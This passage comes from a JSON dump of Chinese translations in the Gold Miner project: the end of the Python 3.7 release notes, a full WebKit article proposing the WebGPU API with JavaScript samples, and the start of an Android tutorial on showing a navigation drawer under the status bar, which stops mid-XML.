[`erf()`](https://docs.python.org/3.7/library/math.html#math.erf) 和 [`erfc()`](https://docs.python.org/3.7/library/math.html#math.erfc) 函数。(由 Serhiy Storchaka 参与贡献的 [bpo-26121](https://bugs.python.org/issue26121)。)\n* 由于使用了 [`os.scandir()`](https://docs.python.org/3.7/library/os.html#os.scandir) 函数，[`os.fwalk()`](https://docs.python.org/3.7/library/os.html#os.fwalk) 函数的效率已经提升了2倍。 (由 Serhiy Storchaka 参与贡献的 [bpo-25996](https://bugs.python.org/issue25996)。)\n* 优化了对于大小写忽略的匹配及对于 [`regular expressions`](https://docs.python.org/3.7/library/re.html#module-re) 的查找。 对一些字符的查找速度现在能提升至原来的20倍。(由 Serhiy Storchaka 参与贡献的 [bpo-30285](https://bugs.python.org/issue30285)。)\n* 在较重负荷下，`selectors.EpollSelector.modify()`，`selectors.PollSelector.modify()` 及 `selectors.DevpollSelector.modify()` 将比原来快10%左右。(由 Giampaolo Rodola’ 参与贡献的 [bpo-30014](https://bugs.python.org/issue30014)。)\n\n## 编译生成及C语言API的更改\n\n* 在非OSX、UNIX平台上，当构建 [`_ctypes`](https://docs.python.org/3.7/library/ctypes.html#module-ctypes) 模块时不会再打包 libffi 的完整副本以使用。现在在这些平台上构建 ` _ctypes` 时需要已安装的 libffi 副本。(由 Zachary Ware 参与贡献的 [bpo-27979](https://bugs.python.org/issue27979)。)\n* 结构 [`PyMemberDef`](https://docs.python.org/3.7/c-api/structures.html#c.PyMemberDef)，[`PyGetSetDef`](https://docs.python.org/3.7/c-api/structures.html#c.PyGetSetDef)，[`PyStructSequence_Field`](https://docs.python.org/3.7/c-api/tuple.html#c.PyStructSequence_Field)，[`PyStructSequence_Desc`](https://docs.python.org/3.7/c-api/tuple.html#c.PyStructSequence_Desc) 及 `wrapperbase` 的 `name` 和 `doc` 字段的类型现在为 `const char *` 而非 `char *`。(由 Serhiy Storchaka 参与参与贡献的 [bpo-28761](https://bugs.python.org/issue28761)。)\n* [`PyUnicode_AsUTF8AndSize()`](https://docs.python.org/3.7/c-api/unicode.html#c.PyUnicode_AsUTF8AndSize) 及 [`PyUnicode_AsUTF8()`](https://docs.python.org/3.7/c-api/unicode.html#c.PyUnicode_AsUTF8) 返回的类型是 `const char *` 而非 `char *`。(由 Serhiy Storchaka 参与贡献的 [bpo-28769](https://bugs.python.org/issue28769)。)\n* 新增了函数 [`PySlice_Unpack()`](https://docs.python.org/3.7/c-api/slice.html#c.PySlice_Unpack) 和 [`PySlice_AdjustIndices()`](https://docs.python.org/3.7/c-api/slice.html#c.PySlice_AdjustIndices)。 (由 Serhiy Storchaka 参与贡献的 [bpo-27867](https://bugs.python.org/issue27867)。)\n* 已弃用 [`PyOS_AfterFork()`](https://docs.python.org/3.7/c-api/sys.html#c.PyOS_AfterFork)，支持使用新函数 [`PyOS_BeforeFork()`](https://docs.python.org/3.7/c-api/sys.html#c.PyOS_BeforeFork)，[`PyOS_AfterFork_Parent()`](https://docs.python.org/3.7/c-api/sys.html#c.PyOS_AfterFork_Parent) 及 [`PyOS_AfterFork_Child()`](https://docs.python.org/3.7/c-api/sys.html#c.PyOS_AfterFork_Child)。 (由 by Antoine Pitrou 参与贡献的 [bpo-16500](https://bugs.python.org/issue16500)。)\n* Windows 构建进程不再依赖 Subversion 来 pull 外部资源，而是通过使用 Python 脚本从 Github 下载 zip 文件。如果系统未安装 Python 3.6（通过命令 `py -3.6`），将会使用 NuGet 来下载 32位的 Python 副本。(由 Zachary Ware 参与贡献的 [bpo-30450](https://bugs.python.org/issue30450)。)\n* 移除了对于构建 `--without-threads` 的支持。(由 Antoine Pitrou 参与贡献的 [bpo-31370](https://bugs.python.org/issue31370)。)\n\n## 其他 CPython 实现的更改\n\n* 在被追踪的框架上，通过将新的 `f_trace_lines` 属性设置为 [`False`](https://docs.python.org/3.7/library/constants.html#False)，追踪钩子现在可以选择不接收来自解释器的 `line` 事件。(由 Nick Coghlan 参与贡献的 [bpo-31344](https://bugs.python.org/issue31344)。)\n* 在被追踪的框架上，通过将新的 `f_trace_opcodes` 属性设置为 [`True`](https://docs.python.org/3.7/library/constants.html#True)，追踪钩子现在可以选择接收来自解释器的 `opcode` 事件。(由 Nick Coghlan 参与贡献的 [bpo-31344](https://bugs.python.org/issue31344)。)\n\n## 弃用的内容\n\n* 如果未设置 `Py_LIMITED_API` ，或其被设置为从 `0x03050400` 到 `0x03060000` （不含）的值或不小于 `0x03060100` 的值，将弃用函数 [`PySlice_GetIndicesEx()`](https://docs.python.org/3.7/c-api/slice.html#c.PySlice_GetIndicesEx) 并用宏将其替代。(由 Serhiy Storchaka 参与贡献的 [bpo-27867](https://bugs.python.org/issue27867)。)\n* 用 `format_string()` 来替代 [`locale`](https://docs.python.org/3.7/library/locale.html#module-locale) 模块中被弃用的 [`format()`](https://docs.python.org/3.7/library/functions.html#format)。(由 Garvit 参与贡献的 [bpo-10379](https://bugs.python.org/issue10379)。)\n* 方法 [`MetaPathFinder.find_module()`](https://docs.python.org/3.7/library/importlib.html#importlib.abc.MetaPathFinder.find_spec)（由  [`MetaPathFinder.find_spec()`](https://docs.python.org/3.7/library/importlib.html#importlib.abc.PathEntryFinder.find_loader) 替代）和方法 [`PathEntryFinder.find_loader()`](https://docs.python.org/3.7/library/importlib.html#importlib.abc.MetaPathFinder.find_spec)（由  [`PathEntryFinder.find_spec()`](https://docs.python.org/3.7/library/importlib.html#importlib.abc.PathEntryFinder.find_spec) 替代）都已在 Python 3.4 被弃用，且现在会发出 [`DeprecationWarning`](https://docs.python.org/3.7/library/exceptions.html#DeprecationWarning)的警告。(由 Matthias Bussonnier 参与贡献的 [bpo-29576](https://bugs.python.org/issue29576)。)\n* 在 [`gettext`](https://docs.python.org/3.7/library/gettext.html#module-gettext) 中通过使用非整型值来筛选复数形式的值已被弃用，它不会再起作用。(由 Serhiy Storchaka 参与贡献的 [bpo-28692](https://bugs.python.org/issue28692)。)\n* [`macpath`](https://docs.python.org/3.7/library/macpath.html#module-macpath) 模块已被弃用，且它将会在 Python 3.8 版本中被移除。\n\n### C语言API的更改\n\n* `PyThread_start_new_thread()` 和 `PyThread_get_thread_ident()` 返回结果的类型, 及 [`PyThreadState_SetAsyncExc()`](https://docs.python.org/3.7/c-api/init.html#c.PyThreadState_SetAsyncExc) 中参数 *id* 的类型从 `long` 变为 `unsigned long`。(由 Serhiy Storchaka 参与贡献的 [bpo-6532](https://bugs.python.org/issue6532)。)\n* 如果 [`PyUnicode_AsWideCharString()`](https://docs.python.org/3.7/c-api/unicode.html#c.PyUnicode_AsWideCharString) 的第二个实参是 _NULL_ 且 `wchar_t*` 字符串包含空字符，就会引起一个 [`ValueError`](https://docs.python.org/3.7/library/exceptions.html#ValueError) 的报错。(由 Serhiy Storchaka 参与贡献的 [bpo-30708](https://bugs.python.org/issue30708)。)\n\n### 仅Windows平台\n\n* Python 启动器（py.exe）能接收32及64位说明符，且无需指定次要版本。所以 `py -3-32` 与 `py -3-64` 也会和 `py -3.7-32` 一样有效，并且现在能接受 -*m*-64 与 -*m.n*-64 来强制使用64位 Python，即使32位在使用中也是如此。如果指定版本不可用，py.exe将会报错退出。(由 Steve Barnes 参与贡献的 [bpo-30291](https://bugs.python.org/issue30291)。)\n* 启动器可以通过命令 “py -0” 运行，生成已安装 Python 的版本列表，*标有星号的是为默认*，运行 “py -0p” 将包含安装路径。如果 py 使用无法匹配的版本说明符运行，也会打印*缩略形式*的可用说明符列表。(由 Steve Barnes 参与贡献的 [bpo-30362](https://bugs.python.org/issue30362)。)\n\n## 移除的内容\n\n### 移除的API及特性\n\n* 在使用 [`re.sub()`](https://docs.python.org/3.7/library/re.html#re.sub) 的替换模板中，由 `'\\'` 及一个 ASCII 字母组成的未知转义符已在 Python 3.5 中被弃用，现在使用将会报错。\n* 移除了 [`tarfile.TarFile.add()`](https://docs.python.org/3.7/library/tarfile.html#tarfile.TarFile.add) 中的实参 _exclude_ 。它已在 Python 2.7 和 3.2 版本被弃用，取而代之的是使用实参 *filter*。\n* `ntpath` 模块中的 `splitunc()` 函数在 Python 3.1 被弃用，现在已被移除。使用 [`splitdrive()`](https://docs.python.org/3.7/library/os.path.html#os.path.splitdrive) 函数来替代。\n* [`collections.namedtuple()`](https://docs.python.org/3.7/library/collections.html#collections.namedtuple) 不再支持 *verbose* 参数和 `_source` 属性，该属性用于显示为已命名元组类所生成的源码。这是用来提升类创建速度的优化设计的一部分。(由 Jelle Zijlstra 贡献并由 INADA Naoki，Serhiy Storchaka，和 Raymond Hettinger 进一步完善的 [bpo-28638](https://bugs.python.org/issue28638)。)\n* 函数 [`bool()`](https://docs.python.org/3.7/library/functions.html#bool)，[`float()`](https://docs.python.org/3.7/library/functions.html#float)，[`list()`](https://docs.python.org/3.7/library/stdtypes.html#list) 和 [`tuple()`](https://docs.python.org/3.7/library/stdtypes.html#tuple) 不再使用关键字参数。[`int()`](https://docs.python.org/3.7/library/functions.html#int) 的第一个参数现在只能作为位置参数传递。\n* 移除了先前在 Python 2.4 版本已被弃用的在 [`plistlib`](https://docs.python.org/3.7/library/plistlib.html#module-plistlib) 模块中的类 `Plist`，`Dict` 和 `_InternalDict`。函数 [`readPlist()`](https://docs.python.org/3.7/library/plistlib.html#plistlib.readPlist) 和 [`readPlistFromBytes()`](https://docs.python.org/3.7/library/plistlib.html#plistlib.readPlistFromBytes) 返回结果中的 dict 类型值现在就是标准的 dict 类型。你再也不能使用属性访问来访问到这些字典里的项。\n\n## 移植到 Python 3.7\n\n本小节列出了之前描述的一些更改，以及一些其他bug修复，因而你可能需要对你的代码进行更改。\n\n### Python API的更改\n\n* 如果 *path* 是一个字符串，[`pkgutil.walk_packages()`](https://docs.python.org/3.7/library/pkgutil.html#pkgutil.walk_packages) 现在会引起 ValueError 报错，之前会返回一个空列表。(由 Sanyam Khurana 参与贡献的 [bpo-24744](https://bugs.python.org/issue24744)。)\n* [`string.Formatter.format()`](https://docs.python.org/3.7/library/string.html#string.Formatter.format) 的格式化字符串参数现在是 [positional-only](https://docs.python.org/3.7/glossary.html#positional-only-parameter)，将它作为关键字参数传递已在 Python 3.5 时被弃用。(由 Serhiy Storchaka 参与贡献的 [bpo-29193](https://bugs.python.org/issue29193)。)\n* [`http.cookies.Morsel`](https://docs.python.org/3.7/library/http.cookies.html#http.cookies.Morsel) 类的属性 [`key`](https://docs.python.org/3.7/library/http.cookies.html#http.cookies.Morsel.key)，[`value`](https://docs.python.org/3.7/library/http.cookies.html#http.cookies.Morsel.value) 和 [`coded_value`](https://docs.python.org/3.7/library/http.cookies.html#http.cookies.Morsel.coded_value) 现在是只读的，将值分配给它们已经在 Python 3.5 中被弃用了，需要使用 [`set()`](https://docs.python.org/3.7/library/http.cookies.html#http.cookies.Morsel.set) 方法对它们进行设置。(由 Serhiy Storchaka 参与贡献的 [bpo-29192](https://bugs.python.org/issue29192)。)\n* `Module`，`FunctionDef`，`AsyncFunctionDef` 及 `ClassDef` AST 节点现在新增了一个 `docstring` 字段，它们自身的首次声明不再被当做是一个 docstring。类和模块的代码对象 `co_firstlineno` 及 `co_lnotab` 会因这个更改而受到影响。(由 INADA Naoki and Eugene Toder 参与贡献的 [bpo-29463](https://bugs.python.org/issue29463)。)\n* [`os.makedirs()`](https://docs.python.org/3.7/library/os.html#os.makedirs) 的参数 *mode* 不再影响新建的中级目录的文件权限位，要想设置它们的文件权限位，你可以在调用 `makedirs()` 之前设置 umask。(由 Serhiy Storchaka 参与贡献的 [bpo-19930](https://bugs.python.org/issue19930)。)\n* 现在 [`struct.Struct.format`](https://docs.python.org/3.7/library/struct.html#struct.Struct.format) 的类型是 [`str`](https://docs.python.org/3.7/library/stdtypes.html#str) 而非 [`bytes`](https://docs.python.org/3.7/library/stdtypes.html#bytes)。(由 Victor Stinner 参与贡献的 [bpo-21071](https://bugs.python.org/issue21071)。)\n* 由于 [`socket`](https://docs.python.org/3.7/library/socket.html#module-socket) 模块的内部更改，你将无法在旧版本 Python 中通过 [`socket.fromshare()`](https://docs.python.org/3.7/library/socket.html#socket.fromshare) 创建一个 [`share()`](https://docs.python.org/3.7/library/socket.html#socket.socket.share)-ed（共享的）接口。\n* [`datetime.timedelta`](https://docs.python.org/3.7/library/datetime.html#datetime.timedelta) 的 `repr` 已变为在输出中包含关键字参数。(由 Utkarsh Upadhyay 参与贡献的 [bpo-30302](https://bugs.python.org/issue30302)。)\n\n### CPython 字节码的更改\n\n* 增加了两个新的操作码：[`LOAD_METHOD`](https://docs.python.org/3.7/library/dis.html#opcode-LOAD_METHOD) 和 [`CALL_METHOD`](https://docs.python.org/3.7/library/dis.html#opcode-CALL_METHOD)。(由 Yury Selivanov 和 INADA Naoki 参与贡献的 [bpo-26110](https://bugs.python.org/issue26110)。)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/next-generation-3d-graphics-on-the-web.md",
    "content": "\n> * 原文地址：[Next-generation 3D Graphics on the Web](https://webkit.org/blog/7380/next-generation-3d-graphics-on-the-web/)\n> * 原文作者：[Dean Jackson](https://twitter.com/grorgwork)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/next-generation-3d-graphics-on-the-web.md](https://github.com/xitu/gold-miner/blob/master/TODO/next-generation-3d-graphics-on-the-web.md)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[leviding](https://github.com/leviding),[H2O-2](https://github.com/H2O-2)\n\n# Web 端的下一代三维图形\n\n今天，苹果 WebKit 团队提议[在 W3C 成立一个新的社区群组（Community Group）来讨论 Web 端三维图形的未来](https://www.w3.org/community/gpu/)和开发一款支持现代 GPU 特性（包括底层图像处理和通用计算）的标准 API。W3C 社区允许大家自由参与进来，而且我们也诚邀浏览器开发商、GPU 硬件提供商、软件开发者和 Web 社区[加入我们](https://www.w3.org/community/gpu/)。\n\n权当抛砖引玉，我们分享了一个 [API 提案](https://webkit.org/wp-content/uploads/webgpu-api-proposal.html)和一个[针对 WebKit 开源项目的 API 原型](https://webkit.org/b/167952)。我们希望这是一个有益的开始，并期待随着社区讨论的进行 API 会不断发展进化。\n\n**更新**：现在有一个[实现和演示 WebGPU 的 demo](https://webkit.org/blog/7504/webgpu-prototype-and-demos/)。\n\n让我们来看看我们成立这个社区群组的前因后果，以及这个新组与现有 Web 图形 API（如 WebGL）的关系。\n\n## 首先谈点历史问题\n\n有一段时间，基于 Web 标准的技术可以生成具有静态内容的页面，而其中唯一的图形则是嵌入的图片。不久之后，Web 开始增加更多开发人员可以通过 JavaScript 访问的功能。最终，我们需要一个完全可编程的图形 API，以使脚本可以实时创建图像。因此，“canvas” 元素及其相关的 [2D 渲染 API](https://html.spec.whatwg.org/multipage/scripting.html#2dcontext) 诞生于 WebKit，随后迅速普及到其他浏览器引擎中，并且很快标准化了。\n\n随着时间的推移，Web 应用程序和内容渐趋丰富和复杂，并开始触及平台的瓶颈。以游戏为例，其性能和视觉质量至关重要。在浏览器中开发游戏的需求是有的，但大多数游戏使用的是 GPU 提供的 3D 图形 API。Mozilla 和 Opera 公布了一些从 “canvas” 元素中暴露出 3D 渲染上下文的实验，其结果非常具有吸引力，因此社区决定一起将大家都可以实现的内容进行标准化。\n\n所有的浏览器引擎协作创建了 [WebGL](https://www.khronos.org/webgl/)，这是在 Web 上渲染 3D 图形的标准。它基于 OpenGL ES —— 一种面向嵌入式系统的跨平台图形 API。这个起点是正确的，因为它可以轻松地在所有浏览器中实现相同的 API，而且大多数浏览器引擎都在支持 OpenGL 的系统上运行。即使系统没有直接支持 OpenGL，像 [ANGLE](http://angleproject.org/) 这样的项目也可以在其他技术之上进行仿真，毕竟这种 API 的抽象级别是很高的。随着 OpenGL 的发展，WebGL 也可以跟着发展。\n\nWebGL 已经在开放平台上赋予了开发人员图形处理器的功能，所有主流浏览器都支持 WebGL 1，使得可以在 Web 上开发出高质量的游戏（console-quality games），也促进了 [three.js](http://threejs.org/) 等第三方库的蓬勃发展。此后，该标准发展成为 WebGL 2，[包括 WebKit](https://bugs.webkit.org/show_bug.cgi?id=126404) 在内的所有主流浏览器引擎都承诺对它提供支持。\n\n## 接下来呢？\n\n在 WebGL 发展的同时，GPU 技术也在发展进步，而且已经创建了新的软件 API，能够更好地反映现代 GPU 的设计特性。这些新 API 的抽象级别比较低，并且由于其降低了开销，通常来说比 OpenGL 的性能更好。该领域的主要技术平台有微软的 Direct3D 12、苹果的 Metal 和 Khronos Group 的 Vulkan。虽然这些技术的设计理念都是相似的，但可惜的是没有一项技术是跨平台可用的。\n\n那么这对 Web 意味着什么呢？从充分利用 GPU 的角度来讲，这些新技术无疑是未来的发展方向。Web 平台想要成功必须定义一种允许多个系统上实现的通用标准，而现在已经有几个在架构上稍有差别的图形 API 了。要开发一款可以加速图形和计算的现代化底层技术，必须设计一个可以在多种系统（包括上面提到的那些系统）上实现的 API。随着图形技术的蓬勃发展，继续遵循像 OpenGL 这样的某个特定 API 标准显然是不可行的。\n\n相反，我们需要评估和设计一个新的 Web 标准：它能够提供一组核心功能，以及一个支持多种系统图形技术和平台的 API，此外还要保障 Web 所要求的保密性和安全性。\n\n再者，我们还需要考虑如何在图形处理之外使用 GPU，以及新标准如何与其他 Web 技术协同工作。该标准应该暴露现代 GPU 的通用计算功能。其设计架构应符合 Web 的既定模式以便开发和使用。它需要能够与其他重要的新兴 Web 标准（如 WebAssembly 和 WebVR）协同工作。最重要的是，这个标准的制定应该是一个开放的过程，允许行业专家和更广泛的网络社区参与。\n\nW3C 为这种情况提供了社区群组平台。[“Web 端的 GPU” 社区群组](https://www.w3.org/community/gpu/)现已开放会员注册。\n\n## WebKit 的初始 API 提案\n\n几年前我们就预估了下一代图形 API 的发展情况，并着手在 WebKit 中设计原型以验证我们可以将非常低级别的 GPU API 暴露给 Web 同时还可以获得有价值的性能提升。我们得到了一些非常鼓舞人心的实验结果，所以我们将原型分享给了 W3C 社区群组。我们也准备[将代码部署到 WebKit 中](https://webkit.org/b/167952)，所以你很快就可以自己去尝试了。我们并不奢望这一 API 本身能成为最后的标准，社区也有可能根本就不会从它入手，但是我们认为编写代码的工作本身是很有价值的。其他浏览器引擎也已经开发了类似的原型。与社区合作并为计算机图形提出一个伟大的新技术想必是一件十分令人激动的事情。\n\n下文将详细阐述我们的实验，我们将它称为 “WebGPU”。\n\n### 获取渲染上下文（Rendering Context）和渲染管道（Rendering Pipeline）\n\n不出意料，WebGPU 的接口是通过 “canvas” 元素来访问的。\n\n```\nlet canvas = document.querySelector(\"canvas\");\nlet gpu = canvas.getContext(\"webgpu\");\n```\n\nWebGPU 比 WebGL 要更加面向对象化，事实上这也是性能提升的缘由之一。WebGPU 允许你创建和存储表示状态的对象和可以处理一组命令的对象，而无需在每次绘制操作之前设置状态。这样，我们可以在状态创建时就执行一些验证工作，从而减少绘图时的工作量。\n\nWebGPU 上下文暴露了图形命令和并行计算命令。假设需要绘制一些图形，这需要用到图形管道。图形管道中最重要的元素是着色器（shaders），它们是在 GPU 上运行用以处理几何数据并为每个像素的绘制提供颜色的程序。着色器通常用专门用于图形的编程语言进行编写。\n\n决定 Web API 使用何种着色语言是件有趣的事情，因为有很多因素需要考虑。我们需要一种功能强大的语言，要求编程尽量简单、能序列化为可高效传输的格式，并要求可以由浏览器进行验证以确保着色器的安全性。业内有部分人倾向于使用可以从许多源格式生成的着色器表示，这有点类似于汇编语言。同时，在“查看源代码”方面 Web 可谓发展迅速，对人而言代码的可读性还是很重要的。我们期望关于着色语言的讨论成为标准化过程中最有趣的部分之一，我们也十分愿意听取社区的意见。\n\n就 WebGPU 原型而言，我们决定暂不考虑着色语言的问题，而是直接采用一种现存的语言。因为我们当时的工作是建立在苹果的平台上的，所以我们选择了[Metal Shading Language](https://developer.apple.com/library/content/documentation/Metal/Reference/MetalShadingLanguageGuide/Introduction/Introduction.html)。那接下来的问题就是如何将着色器加载到 WebGPU 了。\n\n```\nlet library = gpu.createLibrary( /* 源代码 */ );\n\nlet vertexFunction = library.functionWithName(\"vertex_main\");\nlet fragmentFunction = library.functionWithName(\"fragment_main\");\n```\n\n我们使用 `gpu` 对象从源代码加载并编译着色器，生成一个 `WebGPULibrary`。着色器代码本身并不重要 —— 其实就是一个非常简单的顶点（vertex）和片段（fragment）的组合。一个 `WebGPULibrary` 可以容纳多个着色器函数，因此我们通过函数名称取出将要在管道中用到的相应函数。\n\n现在我们就可以创建管道了。\n\n```\n// 管道的一些细节。\nlet pipelineDescriptor = new WebGPURenderPipelineDescriptor();\npipelineDescriptor.vertexFunction = vertexFunction;\npipelineDescriptor.fragmentFunction = fragmentFunction;\npipelineDescriptor.colorAttachments[0].pixelFormat = \"BGRA8Unorm\";\n\nlet pipelineState = gpu.createRenderPipelineState(pipelineDescriptor);\n```\n\n传入所需描述信息（包括使用的顶点、片段着色器以及图像格式）即可从上下文中得到一个新的 `WebGPURenderPipelineState` 对象。\n\n### 缓冲区（Buffers）\n\n绘图操作要求使用缓冲区向渲染管道提供数据，例如几何坐标、颜色、法向量等等，而 `WebGPUBuffer` 则是容纳这些数据的对象。\n\n```\nlet vertexData = new Float32Array([ /* some data */ ]);\nlet vertexBuffer = gpu.createBuffer(vertexData);\n```\n\n此例中，我们有一个 `Float32Array`，它包含了需要在几何图形中绘制的每个顶点的数据。我们从 `Float32Array` 创建一个 `WebGPUBuffer`，该缓冲区会在之后的绘图操作中用到。\n\n诸如此类的顶点数据很少发生变化，但也有些数据是几乎每次绘制时都会发生变化的。像这种不变的数据被称为 **uniforms**。表示相机位置的当前变换矩阵即是 uniform 的一个很常见的例子。`WebGPUBuffer` 也可用于 uniform，但此处我们希望在创建之后将其写入缓冲区。\n\n```\n// 将 \"buffer\" 看作是一个之前分配好的 WebGPUBuffer。\n// buffer.contents 暴露一个 ArrayBufferView，我们将其\n// 解析为一个 32 位的浮点数数组。\nlet uniforms = new Float32Array(buffer.contents);\n\n// 设置所需 uniform。\nuniforms[42] = Math.PI;\n```\n\n这样做的好处之一是 JavaScript 开发人员可以将 ArrayBufferView 封装在带有自定义 getter 和 setter 的类或代理对象（Proxy object）中，这样外部接口看起来像典型的 JavasScript 对象一样。然后，包装器对象会更新缓冲区正在使用的底层数组中的相应部分。\n\n### 绘图（Drawing）\n\n在通知 WebGPU 上下文绘图之前还需要设置一些状态，这包括渲染的目标位置（最终将在 `canvas` 中显示的 `WebGPUTexture`）以及纹理（texture）初始化和使用情况的描述信息。这些状态存储在 `WebGPURenderPassDescriptor` 中。\n\n```\n// 从上下文获取下一帧所期望的纹理信息。\nlet drawable = gpu.nextDrawable();\n\nlet passDescriptor = new WebGPURenderPassDescriptor();\npassDescriptor.colorAttachments[0].loadAction = \"clear\";\npassDescriptor.colorAttachments[0].storeAction = \"store\";\npassDescriptor.colorAttachments[0].clearColor = [0.8, 0.8, 0.8, 1.0];\npassDescriptor.colorAttachments[0].texture = drawable.texture;\n```\n首先，我们向 WebGPU 上下文请求一个表示下一可绘帧的对象，此对象最终会被复制到 canvas 元素中去。完成绘图代码后，我们要通知 WebGPU 以便其显示绘图结果并准备下一个可绘帧。\n\n从初始化 `WebGPURenderPassDescriptor` 的代码中可以看出，我们不会在绘图操作正在进行的时候从纹理中读取信息（因为 `loadAction` 的值是 `clear`），而是在绘图操作完成之后才使用该纹理（因为 `storeAction` 的值是 `store`），此外代码还指定了纹理的填充颜色。\n\n接下来，我们创建用于保存实际绘制操作的对象。一个 `WebGPUCommandQueue` 有一组 `WebGPUCommandBuffers`。我们使用 `WebGPUCommandEncoder` 将操作推送到 `WebGPUCommandBuffer` 中去。\n\n```\nlet commandQueue = gpu.createCommandQueue();\nlet commandBuffer = commandQueue.createCommandBuffer();\n\n// 使用之前创建的描述符。\nlet commandEncoder = commandBuffer.createRenderCommandEncoderWithDescriptor(\n                        passDescriptor);\n\n// 告知编码器使用何种状态（例如：着色器）。\ncommandEncoder.setRenderPipelineState(pipelineState);\n\n// 最后，编码器还需要知道使用哪个缓冲区。\ncommandEncoder.setVertexBuffer(vertexBuffer, 0, 0);\n```\n\n至此，我们已经设置好了一个渲染管道，其中包含若干着色器、一个用于保存几何信息的缓冲区、一个用于保存绘制操作的队列以及一个可以提交到该队列的编码器。现在只需将实际绘图命令推入编码器即可。\n\n```\n// 我们知道我们的缓冲区有 3 个顶点，\n// 我们希望绘制出一个填充的三角形。\ncommandEncoder.drawPrimitives(\"triangle\", 0, 3);\ncommandEncoder.endEncoding();\n\n// 所有绘图命令已经提交。通知 WebGPU\n// 一旦队列处理完毕即刻显示 canvas 中的绘图结果。\ncommandBuffer.presentDrawable(drawable);\ncommandBuffer.commit();\n```\n\n像大多数 3D 图形的示例代码一样，绘制一个简单的形状看起来要写很多代码，但其实并非如此。这些现代 API 有一个优点 —— 其大部分代码都是在创建可以重用以绘制其他内容的对象。例如，一般渲染上下文只需要一个 `WebGPUCommandQueue` 实例，又者可以为不同的着色器提前创建多个 `WebGPURenderPipelineState` 对象。此外，浏览器还可以在前期进行很多验证工作，从而减少绘图操作过程中的开销。\n\n希望本文可以让你对 WebGPU 提案有一个大致了解。尽管由 W3C 社区群组最终确定的 API 可能同此提案有很大不同，但我们相信很多一般的设计原则都是通用的。\n\n## 公开邀请\n\n苹果的 WebKit 团队已经建议为 Web 端 GPU 建立一个 W3C 社区群组作为工作论坛，同时也[请你加入我们](https://www.w3.org/community/gpu/)一起定义 GPU 的下一代标准。我们的建议得到了其他浏览器引擎开发商、GPU 供应商、框架开发人员等业内同仁的积极回应。在行业的支持下，我们诚邀所有对 Web GPU 感兴趣或有专长的人加入社区群组。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/no-excuses-it-takes-5-mins-make-that-drawer-visible-under-your-status-bar-2.md",
    "content": ">* 原文链接 : [IT TAKES LESS THAN 5 MINS, MAKE THAT DRAWER VISIBLE UNDER YOUR STATUS BAR](http://matthewwear.xyz/no-excuses-it-takes-5-mins-make-that-drawer-visible-under-your-status-bar-2/)\n* 原文作者 : [MATTHEW WEAR](http://matthewwear.xyz/author/matthew/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Dwight](https://github.com/ldhlfzysys)\n* 校对者: [aidistan](https://github.com/aidistan), [Goshin](https://github.com/Goshin)\n\n# 怎样在 5 分钟内使 Drawer 在状态栏下可见？\n\n你也许听过谷歌最新的设计理念 Material Design （“质感设计”）[规范](http://www.google.com/design/spec/patterns/navigation-drawer.html)，可以让你的抽屉式导航栏跨越整个屏幕，包括状态栏，并且让抽屉后的所有控件以灰暗的网格形式可见。\n\n然而，许多应用打开抽屉式导航栏时看来是这样的\n\n\n![](http://matthewwear.xyz/content/images/2016/05/Screenshot-2016-05-31-09-57-54.png)\n\n这里将示范如何把这些元素改造成上面说到的规范。\n\n#### 扩展你的主题\n\n你可能已经给包含抽屉的 Activity 定义了一个样式。\n\n    <style name=\"AppTheme\" parent=\"Theme.AppCompat.Light.DarkActionBar\">  \n        <item name=\"colorPrimary\">@color/colorPrimary</item>\n        <item name=\"colorPrimaryDark\">@color/colorPrimaryDark</item>\n        <item name=\"colorAccent\">@color/colorAccent</item>\n    </style>  \n\n第一步,创建一个扩展自`AppTheme`的新`Theme`\n\n**vaules/styles.xml**\n\n    <style name=\"AppTheme.NoActionBar\">  \n        <item name=\"windowActionBar\">false</item>\n        <item name=\"windowNoTitle\">true</item>\n    </style>\n\n**v21/styles.xml**\n\n    <style name=\"AppTheme.NoActionBar\">  \n        <item name=\"windowActionBar\">false</item>\n        <item name=\"windowNoTitle\">true</item>\n        <item name=\"android:windowDrawsSystemBarBackgrounds\">true</item>\n        <item name=\"android:statusBarColor\">@android:color/transparent</item>\n    </style>  \n\n并且确保你的 Activity 指定使用了这个 theme，比如\n\n    <activity  \n        android:name=\"MyDrawerNavActivity\"\n        android:theme=\"@style/AppTheme.NoActionBar\"\n\n#### 配置 DrawerLayout 控件\n\n\n第二步，到你定义`DrawerLayout`控件的地方，设置`insetForegroundColor` (如果你不想控制 `ScrimInsetLayout`的颜色，你也可以不设置)。并设置好 `fitsSystemWindow` 属性值\n\n    <android.support.v4.widget.DrawerLayout  \n        ...\n        android:fitsSystemWindows=\"true\"\n        app:insetForeground=\"@color/inset_color\"\n        